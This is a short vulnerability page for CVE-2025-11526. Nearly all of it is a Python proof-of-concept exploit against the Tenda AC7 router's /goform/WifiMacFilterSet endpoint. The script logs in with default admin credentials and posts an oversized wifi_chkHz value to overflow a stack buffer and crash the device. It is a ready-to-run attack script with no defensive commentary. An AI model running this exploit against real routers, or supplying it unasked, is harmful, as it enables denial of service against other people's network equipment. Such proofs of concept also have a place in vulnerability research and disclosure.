CVE-2025-11526 Tenda AC7 WifiMacFilterSet栈缓冲区溢出漏洞

# CVE-2025-11526 - Tenda AC7 WifiMacFilterSet Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via wifi_chkHz parameter # Affected: Tenda AC7 firmware 15.03.06.44 # Endpoint: /goform/WifiMacFilterSet import requests import sys TARGET_HOST = "http://192.168.0.1" # Default Tenda router IP USERNAME = "admin" # Default username PASSWORD = "admin" # Default password (or known credentials) def exploit(): # Step 1: Login to the router to obtain session cookie session = requests.Session() login_url = f"{TARGET_HOST}/login/Auth" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") sys.exit(1) # Step 2: Craft the malicious payload for wifi_chkHz parameter # Overflow the stack buffer with a long string to trigger buffer overflow payload = "A" * 2048 # Adjust length based on buffer size # Step 3: Send the exploit request to WifiMacFilterSet endpoint exploit_url = f"{TARGET_HOST}/goform/WifiMacFilterSet" exploit_data = { "wifi_chkHz": payload } print(f"[*] Sending exploit to {exploit_url}") print(f"[*] Payload length: {len(payload)} bytes") try: resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") except Exception as e: print(f"[*] Target may have crashed (expected): {e}") print("[+] Exploit may have succeeded - device unresponsive") if __name__ == "__main__": exploit()